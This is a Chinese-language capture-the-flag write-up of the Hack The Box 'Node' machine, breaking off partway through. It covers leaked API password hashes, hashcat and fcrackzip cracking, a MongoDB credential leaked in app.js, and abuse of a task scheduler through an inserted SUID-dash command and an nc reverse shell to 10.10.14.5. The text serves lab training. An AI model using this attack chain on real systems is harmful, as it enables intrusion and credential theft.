Node-htb-writeup

0x00 靶场技能介绍

章节技能:js中API路径泄露、hashid识别密文类型、hashcat破解密文、wget添加cookie下载压缩包、file命令识别未知文件类型、mv命令移动文件为压缩包、fcrackzip工具破解压缩包密码、js数据库密码泄露、mongo数据库写计划任务、SUID提权、hydra爆破密码

参考链接:https://alamot.github.io/node_writeup/

参考链接:https://blog.luckolen.xyz/posts/HTB/Node

0x01 用户权限获取

1、获取下靶机IP地址:10.10.10.58

2、扫描下开放端口的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌─[us-vip-22]─[10.10.14.4]─[shiyan@htb-vrbwipiudk]─[~/Desktop]
└──╼ [★]$ sudo nmap -p- -Pn --min-rate=10000 10.10.10.58
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-05 09:16 GMT
Nmap scan report for 10.10.10.58
Host is up (0.28s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp

┌─[us-vip-22]─[10.10.14.4]─[shiyan@htb-vrbwipiudk]─[~/Desktop]
└──╼ [★]$ sudo nmap -p22,3000 -sV -sC -Pn --min-rate=10000 10.10.10.58
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-05 09:19 GMT
Nmap scan report for 10.10.10.58
Host is up (0.24s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc5e34a625db43eceb40f4967b8ed1da (RSA)
| 256 6c8e5e5f4fd5417d1895d1dc2e3fe59c (ECDSA)
|_ 256 d878b85d85ffad7be6e2b5da1e526236 (ED25519)
3000/tcp open hadoop-datanode Apache Hadoop
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
| hadoop-datanode-info:
|_ Logs: /login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.44 seconds
┌─[us-vip-22]─[10.10.14.4]─[shiyan@htb-vrbwipiudk]─[~/Desktop]
└──╼ [★]$ sudo nmap -sU -p- -Pn --min-rate=10000 10.10.10.58
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-05 09:20 GMT
Nmap scan report for 10.10.10.58
Host is up.
All 65535 scanned ports on 10.10.10.58 are in ignored states.
Not shown: 65535 open|filtered udp ports (no-response)

3、这里感觉openssh的版本有点问题,搜索下相关漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌─[us-vip-22]─[10.10.14.4]─[shiyan@htb-vrbwipiudk]─[~/Desktop]
└──╼ [★]$ searchsploit OpenSSH 7.2p2
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC | linux/remote/45210.py
OpenSSH 7.2 - Denial of Service | linux/dos/40888.py
OpenSSH 7.2p2 - Username Enumeration | linux/remote/40136.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disab | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Libr | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
OpenSSHd 7.2p2 - Username Enumeration | linux/remote/40113.txt
---------------------------------------------- ---------------------------------
Shellcodes: No Results

4、行吧, 枚举漏洞应该不是的了

5、看一下3000端口是什么服务吧

http://10.10.10.58:3000/

6、是一个网站服务,继续扫描下目录情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌─[us-vip-22]─[10.10.14.4]─[shiyan@htb-vrbwipiudk]─[~/Desktop]
└──╼ [★]$ dirsearch -u http://10.10.10.58:3000/
Directory /usr/lib/python3/dist-packages/dirsearch is not writable
Directory /usr/lib/python3/dist-packages/dirsearch is not writable

_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30
Wordlist size: 10903

Output File: /usr/lib/python3/dist-packages/dirsearch/reports/10.10.10.58:3000/-_24-01-05_09-28-12.txt

Error Log: /usr/lib/python3/dist-packages/dirsearch/logs/errors-24-01-05_09-28-12.log

Target: http://10.10.10.58:3000/

[09:28:13] Starting:
[09:28:57] 301 - 171B - /assets -> /assets/
[09:29:47] 301 - 173B - /uploads -> /uploads/

Task Completed
<dirsearch.dirsearch.Program object at 0x7fa52299db50>

7、到这里,要么是字典不够强大,要么就是在js里隐藏着一些信息,去js里翻看下

8、发现了一个API路径,通过页面访问下看看吧

http://10.10.10.58:3000/api/users/latest

1
2
3
┌──(kali㉿kali)-[~/桌面]
└─$ curl http://10.10.10.58:3000/api/users/latest
[{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

9、在该API的二级目录下发现了一些信息

http://10.10.10.58:3000/api/users/

1
2
3
┌──(kali㉿kali)-[~/桌面]
└─$ curl http://10.10.10.58:3000/api/users/
[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

10、比上面那个列表多了一个管理员的账号信息

1
2
3
4
{"_id":"59a7365b98aa325cc03ee51c",
"username":"myP14ceAdm1nAcc0uNT",
"password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
"is_admin":true}

11、这里尝试使用 hashid 看看,能否区分开这些是什么加密的

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/桌面]
└─$ echo -n 'dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af' | hashid
Analyzing 'dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af'
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] GOST CryptoPro S-Box
[+] SHA3-256
[+] Skein-256
[+] Skein-512(256)

12、把上述账号密码,放入到一个文本里,然后使用hashcat进行破解下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
┌──(kali㉿kali)-[~/桌面]
└─$ echo 'myP14ceAdm1nAcc0uNT:dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
quote> tom:f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240
quote> mark:de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73
quote> rastating:5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0' > hashes

shiyan@InfoSec hashcat-6.2.6 % sudo hashcat --user ./test/hashes ./dict-list/darkweb2017-top10000.txt -m 1400
hashcat (v6.2.6) starting

* Device #2: Apple's OpenCL drivers (GPU) are known to be unreliable.
You have been warned.

METAL API (Metal 341.29)
========================
* Device #1: Apple M2 Pro, 5408/10922 MB, 19MCU

OpenCL API (OpenCL 1.2 (Sep 30 2023 03:48:09)) - Platform #1 [Apple]
====================================================================
* Device #2: Apple M2 Pro, skipped

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 4 digests; 4 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 100c

Host memory required for this attack: 333 MB

Dictionary cache built:
* Filename..: ./dict-list/darkweb2017-top10000.txt
* Passwords.: 9999
* Bytes.....: 82603
* Keyspace..: 9999
* Runtime...: 0 secs

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240:spongebob
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73:snowflake

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: ./test/hashes
Time.Started.....: Fri Jan 5 22:15:29 2024 (1 sec)
Time.Estimated...: Fri Jan 5 22:15:30 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (./dict-list/darkweb2017-top10000.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 3417.3 kH/s (0.12ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 3/4 (75.00%) Digests (total), 3/4 (75.00%) Digests (new)
Progress.........: 9999/9999 (100.00%)
Rejected.........: 0/9999 (0.00%)
Restore.Point....: 9999/9999 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> starstar
Hardware.Mon.SMC.: Fan0: 0%, Fan1: 0%
Hardware.Mon.#1..: Util: 74%

Started: Fri Jan 5 22:15:23 2024
Stopped: Fri Jan 5 22:15:30 2024
shiyan@InfoSec hashcat-6.2.6 %

13、到这里也成功破解出来了几个账号密码

1
2
3
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240:spongebob
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73:snowflake

14、尝试登录后台地址

http://10.10.10.58:3000/admin/

15、登录到后台后,发现是有个压缩包的,但是由于网络原因,我通过浏览器还是命令行,均无法下载下来

1
wget --header "Cookie: connect.sid=s%3AGKHNZ8musvqC08izw3t5W_9EizgMUT6F.qzF0GfGtQNO4Vz7mNgB%2Fk8elfNahSYoLAsOQN4U3Wkk" http://10.10.10.58:3000/api/admin/backup

16、这一个片段,我就直接粘贴演练报告里的内容吧

当我们以 myP14ceAdm1nAcc0uNT 身份登录时,我们可以选择下载备份。该myplace.backup文件是 base64 编码的文本,因此我们将对其进行解码,解码后它看起来是一个 zip 存档。

luc@kali:~/HTB/Node$ cat myplace.backup | base64 -d > myplace.decoded
luc@kali:~/HTB/Node$ file myplace.decoded
myplace.decoded: Zip archive data, at least v1.0 to extract
luc@kali:~/HTB/Node$ mv myplace.decoded myplace.zip

我们需要破解这个 zip 文件的密码。为此,我们将使用fcrackzip 。 https://github.com/hyc/fcrackzip
该 zip 文件受密码保护。让我们使用 fcrackzip 或 zipcracker-ng 来破解它:

luc@kali:~/HTB/Node$ fcrackzip -D -p /usr/share/wordlists/rockyou.txt myplace.zip
possible pw found: magicword ()
luc@kali:~/HTB/Node$ unzip -P magicword myplace.zip

我们现在可以查看 zip 中的所有文件,包括var/www/myplace/app.js.

luc@kali:~/HTB/Node$ less var/www/myplace/app.js
...
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
...

如果我们探索 backup.zip 中解压的文件,我们会在 var/www/myplace/app.js 中找到一些凭据:

$ head -n12 var/www/myplace/app.js

const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const path = require("path");
const spawn = require('child_process').spawn;
const app = express();
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

17、到这里,发现了一个数据的连接密码,使用该密码,成功登录到了服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
mark
5AYRft73VtFpc84k

┌──(kali㉿kali)-[~/桌面]
└─$ ssh mark@10.10.10.58
The authenticity of host '10.10.10.58 (10.10.10.58)' can't be established.
ED25519 key fingerprint is SHA256:l5rO4mtd28sC7Bh8t7rHpUxqmHnGYUDxX1DHmLFrzrk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.58' (ED25519) to the list of known hosts.
mark@10.10.10.58's password:

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.



.-.
.-'``(|||)
,`\ \ `-`. 88 88
/ \ '``-. ` 88 88
.-. , `___: 88 88 88,888, 88 88 ,88888, 88888 88 88
(:::) : ___ 88 88 88 88 88 88 88 88 88 88 88
`-` ` , : 88 88 88 88 88 88 88 88 88 88 88
\ / ,..-` , 88 88 88 88 88 88 88 88 88 88 88
`./ / .-.` '88888' '88888' '88888' 88 88 '8888 '88888'
`-..-( )
`-`

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3
mark@node:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
mark@node:~$ pwd
/home/mark

18、但是在接下来的信息查找中,发现我们没有办法直接读取第一个flag文件,因为权限在 tom 这个账号里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
mark@node:~$ ls
mark@node:~$ ls ../
frank mark tom
mark@node:~$
mark@node:~$ ss -ltn
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 127.0.0.1:27017 *:*
LISTEN 0 128 *:22 *:*
LISTEN 0 128 :::3000 :::*
mark@node:~$
mark@node:~$ ls -Rl ../
../:
total 12
drwxr-xr-x 2 root root 4096 Aug 31 2017 frank
drwxr-xr-x 3 root root 4096 Sep 3 2017 mark
drwxr-xr-x 6 root root 4096 Aug 16 2022 tom

../frank:
total 0

../mark:
total 0

../tom:
total 4
-rw-r----- 1 root tom 33 Jan 5 13:31 user.txt
mark@node:~$

19、通过检索 tom 用户的进程情况,发现了几个关键点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
mark@node:~$ ps aux | grep tom
tom 1244 0.1 9.3 1120856 71092 ? Ssl 13:31 0:07 /usr/bin/node /var/www/myplace/app.js
tom 1492 0.0 5.5 1008568 42160 ? Ssl 13:31 0:01 /usr/bin/node /var/scheduler/app.js
mark 1861 0.0 0.1 11284 1040 pts/0 S+ 14:38 0:00 grep --color=auto tom
mark@node:~$ cat /var/www/myplace/app.js

const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const path = require("path");
const spawn = require('child_process').spawn;
const app = express();
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}

app.use(session({
secret: 'the boundless tendency initiates the law.',
cookie: { maxAge: 3600000 },
resave: false,
saveUninitialized: false
}));

app.use(function (req, res, next) {
var agent = req.headers['user-agent'];
var blacklist = /(DirBuster)|(Postman)|(Mozilla\/4\.0.+Windows NT 5\.1)|(Go\-http\-client)/i;

if (!blacklist.test(agent)) {
next();
}
else {
count = Math.floor((Math.random() * 10000) + 1);
randomString = '';

var charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var i = 0; i < count; i++)
randomString += charset.charAt(Math.floor(Math.random() * charset.length));

res.set('Content-Type', 'text/plain').status(200).send(
[
'QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ',
'QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ',
'QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ',
'QQQQQQQQQQQQQQQQQQQWQQQQQWWWBBBHHHHHHHHHBWWWQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ',
'QQQQQQQQQQQQQQQD!`__ssaaaaaaaaaass_ass_s____. -~""??9VWQQQQQQQQQQQQQQQQQQQ',
'QQQQQQQQQQQQQP\'_wmQQQWWBWV?GwwwmmWQmwwwwwgmZUVVHAqwaaaac,"?9$QQQQQQQQQQQQQQ',
'QQQQQQQQQQQW! aQWQQQQW?qw#TTSgwawwggywawwpY?T?TYTYTXmwwgZ$ma/-?4QQQQQQQQQQQ',
'QQQQQQQQQQW\' jQQQQWTqwDYauT9mmwwawww?WWWWQQQQQ@TT?TVTT9HQQQQQQw,-4QQQQQQQQQ',
'QQQQQQQQQQ[ jQQQQQyWVw2$wWWQQQWWQWWWW7WQQQQQQQQPWWQQQWQQw7WQQQWWc)WWQQQQQQQ',
'QQQQQQQQQf jQQQQQWWmWmmQWU???????9WWQmWQQQQQQQWjWQQQQQQQWQmQQQQWL 4QQQQQQQQ',
'QQQQQQQP\'.yQQQQQQQQQQQP" <wa,.!4WQQQQQQQWdWP??!"??4WWQQQWQQc ?QWQQQQQ',
'QQQQQP\'_a.<aamQQQW!<yF "!` .. "??$Qa "WQQQWTVP\' "??\' =QQmWWV?46/ ?QQQQQ',
'QQQP\'sdyWQP?!`.-"?46mQQQQQQT!mQQgaa. <wWQQWQaa _aawmWWQQQQQQQQQWP4a7g -WWQQ',
'QQ[ j@mQP\'adQQP4ga, -????" <jQQQQQWQQQQQQQQQWW;)WQWWWW9QQP?"` -?QzQ7L ]QQQ',
'QW jQkQ@ jWQQD\'-?$QQQQQQQQQQQQQQQQQWWQWQQQWQQQc "4QQQQa .QP4QQQQfWkl jQQQ',
'QE ]QkQk $D?` waa "?9WWQQQP??T?47`_aamQQQQQQWWQw,-?QWWQQQQQ`"QQQD\Qf(.QWQQ',
'QQ,-Qm4Q/-QmQ6 "WWQma/ "??QQQQQQL 4W"- -?$QQQQWP`s,awT$QQQ@ "QW@?$:.yQQQQ',
'QQm/-4wTQgQWQQ, ?4WWk 4waac -???$waQQQQQQQQF??\'<mWWWWWQW?^ ` ]6QQ\' yQQQQQ',
'QQQQw,-?QmWQQQQw a, ?QWWQQQw _. "????9VWaamQWV???" a j/ ]QQf jQQQQQQ',
'QQQQQQw,"4QQQQQQm,-$Qa ???4F jQQQQQwc <aaas _aaaaa 4QW ]E )WQ`=QQQQQQQ',
'QQQQQQWQ/ $QQQQQQQa ?H ]Wwa, ???9WWWh dQWWW,=QWWU? ?! )WQ ]QQQQQQQ',
'QQQQQQQQQc-QWQQQQQW6, QWQWQQQk <c jWQ ]QQQQQQQ',
'QQQQQQQQQQ,"$WQQWQQQQg,."?QQQQ\'.mQQQmaa,., . .; QWQ.]QQQQQQQ',
'QQQQQQQQQWQa ?$WQQWQQQQQa,."?( mQQQQQQW[:QQQQm[ ammF jy! j( } jQQQ(:QQQQQQQ',
'QQQQQQQQQQWWma "9gw?9gdB?QQwa, -??T$WQQ;:QQQWQ ]WWD _Qf +?! _jQQQWf QQQQQQQ',
'QQQQQQQQQQQQQQQws "Tqau?9maZ?WQmaas,, --~-- --- . _ssawmQQQQQQk 3QQQQWQ',
'QQQQQQQQQQQQQQQQWQga,-?9mwad?1wdT9WQQQQQWVVTTYY?YTVWQQQQWWD5mQQPQQQ ]QQQQQQ',
'QQQQQQQWQQQQQQQQQQQWQQwa,-??$QwadV}<wBHHVHWWBHHUWWBVTTTV5awBQQD6QQQ ]QQQQQQ',
'QQQQQQQQQQQQQQQQQQQQQQWWQQga,-"9$WQQmmwwmBUUHTTVWBWQQQQWVT?96aQWQQQ ]QQQQQQ',
'QQQQQQQQQQWQQQQWQQQQQQQQQQQWQQma,-?9$QQWWQQQQQQQWmQmmmmmQWQQQQWQQW(.yQQQQQW',
'QQQQQQQQQQQQQWQQQQQQWQQQQQQQQQQQQQga%,. -??9$QQQQQQQQQQQWQQWQQV? sWQQQQQQQ',
'QQQQQQQQQWQQQQQQQQQQQQQQWQQQQQQQQQQQWQQQQmywaa,;~^"!???????!^`_saQWWQQQQQQQ',
'QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQWWWWQQQQQmwywwwwwwmQQWQQQQQQQQQQQ',
'QQQQQQQWQQQWQQQQQQWQQQWQQQQQWQQQQQQQQQQQQQQQQWQQQQQWQQQWWWQQQQQQQQQQQQQQQWQ',
'',
'',
'<!-- ' + randomString + ' -->'
].join("\n")
);
}
});

app.use(express.static(path.join(__dirname, 'static')));
app.use(bodyParser.json());
app.use(function(err, req, res, next) {
if (err) {
res.status(err.status || 500);
res.send({
message:"Uh oh, something went wrong!",
error: true
});
}
else {
next();
}
});

app.get('/api/users/?', function (req, res) {
db.collection('users').find().toArray(function (error, docs) {
if (error) {
res.status(500).send({ error: true });
}
else if (!docs) {
res.status(404).send({ not_found: true });
}
else {
res.send(docs);
}
});
});

app.get('/api/users/latest', function (req, res) {
db.collection('users').find({ is_admin: false }).toArray(function (error, docs) {
if (error) {
res.status(500).send({ error: true });
}
else if (!docs) {
res.status(404).send({ not_found: true });
}
else {
res.send(docs);
}
});
});

app.get('/api/users/:username', function (req, res) {
db.collection('users').findOne({ username: req.params.username }, function (error, doc) {
if (error) {
res.status(500).send({ error: true });
}
else if (!doc) {
res.status(404).send({ not_found: true });
}
else {
res.send(doc);
}
});
});

app.get('/api/session', function (req, res) {
if (req.session.user) {
res.send({
authenticated: true,
user: req.session.user
});
}
else {
res.send({
authenticated: false
});
}
});

app.post('/api/session/authenticate', function (req, res) {
var failureResult = {
error: true,
message: 'Authentication failed'
};

if (!req.body.username || !req.body.password) {
res.send(failureResult);
return;
}

db.collection('users').findOne({ username: req.body.username }, function (error, doc) {
if (error) {
res.status(500).send({
message:"Uh oh, something went wrong!",
error: true
});

return;
}

if (!doc) {
res.send(failureResult);
return;
}

var hash = crypto.createHash('sha256');
var cipherText = hash.update(req.body.password).digest('hex');

if (cipherText == doc.password) {
req.session.user = doc;
res.send({
success: true
});
}
else {
res.send({
success: false
})
}
});
});

app.get('/api/admin/backup', function (req, res) {
if (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';

proc.on("exit", function(exitCode) {
res.header("Content-Type", "text/plain");
res.header("Content-Disposition", "attachment; filename=myplace.backup");
res.send(backup);
});

proc.stdout.on("data", function(chunk) {
backup += chunk;
});

proc.stdout.on("end", function() {
});
}
else {
res.send({
authenticated: false
});
}
});

app.use(function(req, res, next){
res.sendFile('app.html', { root: __dirname });
});

app.listen(3000, function () {
console.log('MyPlace app listening on port 3000!')
});

});
mark@node:~$
mark@node:~$ cat /var/scheduler/app.js
const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}

setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);

});
mark@node:~$

20、在 MongoDB 中,数据库保存文档集合,即 MongoDB 将文档存储在集合中。集合类似于关系数据库中的表。我们看到 /var/scheduler/app.js 连接到名为“scheduler”的 mondodb 数据库,在名为“tasks”的集合中搜索文档并执行其“cmd”字段。让我们连接到 mongodb 并在任务集合中插入一个新文档。我们希望用户 tom 执行的命令将位于“cmd”字段中。

21、这边,其实是参照演示文档,进行命令权限的尝试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
mark@node:~$ mongo localhost:27017/scheduler -u mark -p 5AYRft73VtFpc84k
MongoDB shell version: 3.2.16
connecting to: localhost:27017/scheduler
> db.tasks.insert({"cmd":"cp /bin/dash /tmp/dash; chmod u+s /tmp/dash"})
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("659815a4285b14155dcdf022"), "cmd" : "cp /bin/dash /tmp/dash; chmod u+s /tmp/dash" }
> exit
bye
mark@node:~$ ls -la /tmp/dash
-rwsr-xr-x 1 tom tom 154072 Jan 5 14:44 /tmp/dash
mark@node:~$ /tmp/dash -p
$ id
uid=1001(mark) gid=1001(mark) euid=1000(tom) groups=1001(mark)
$ cd /home/tom
$ cat user.txt
cat: user.txt: Permission denied
$ pwd
/home/tom
$ ls -la
total 40
drwxr-xr-x 6 root root 4096 Aug 16 2022 .
drwxr-xr-x 5 root root 4096 Aug 31 2017 ..
lrwxrwxrwx 1 root root 9 Aug 16 2022 .bash_history -> /dev/null
-rw-r--r-- 1 root root 220 Aug 29 2017 .bash_logout
-rw-r--r-- 1 root root 3771 Aug 29 2017 .bashrc
drwx------ 2 root root 4096 Aug 29 2017 .cache
drwxr-xr-x 3 root root 4096 Aug 30 2017 .config
-rw-r----- 1 root root 0 Sep 3 2017 .dbshell
-rwxr-xr-x 1 root root 0 Aug 30 2017 .mongorc.js
drwxrwxr-x 2 root root 4096 Aug 29 2017 .nano
drwxr-xr-x 5 root root 4096 Aug 31 2017 .npm
-rw-r--r-- 1 root root 655 Aug 29 2017 .profile
-rw-r----- 1 root tom 33 Jan 5 13:31 user.txt
$ cat user.txt
cat: user.txt: Permission denied
$

22、结果,不行,没法读取,那就继续换一个命令吧

1
2
3
4
5
6
7
8
9
mark@node:~$ mongo localhost:27017/scheduler -u mark -p 5AYRft73VtFpc84k
MongoDB shell version: 3.2.16
connecting to: localhost:27017/scheduler
> db.tasks.insert({"cmd":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 443 >/tmp/f"})
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
> exit
bye
mark@node:~$

23、远程监听也成功的获取到了该tom的权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~/桌面]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.58] 52620
sh: 0: can't access tty; job control turned off
$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
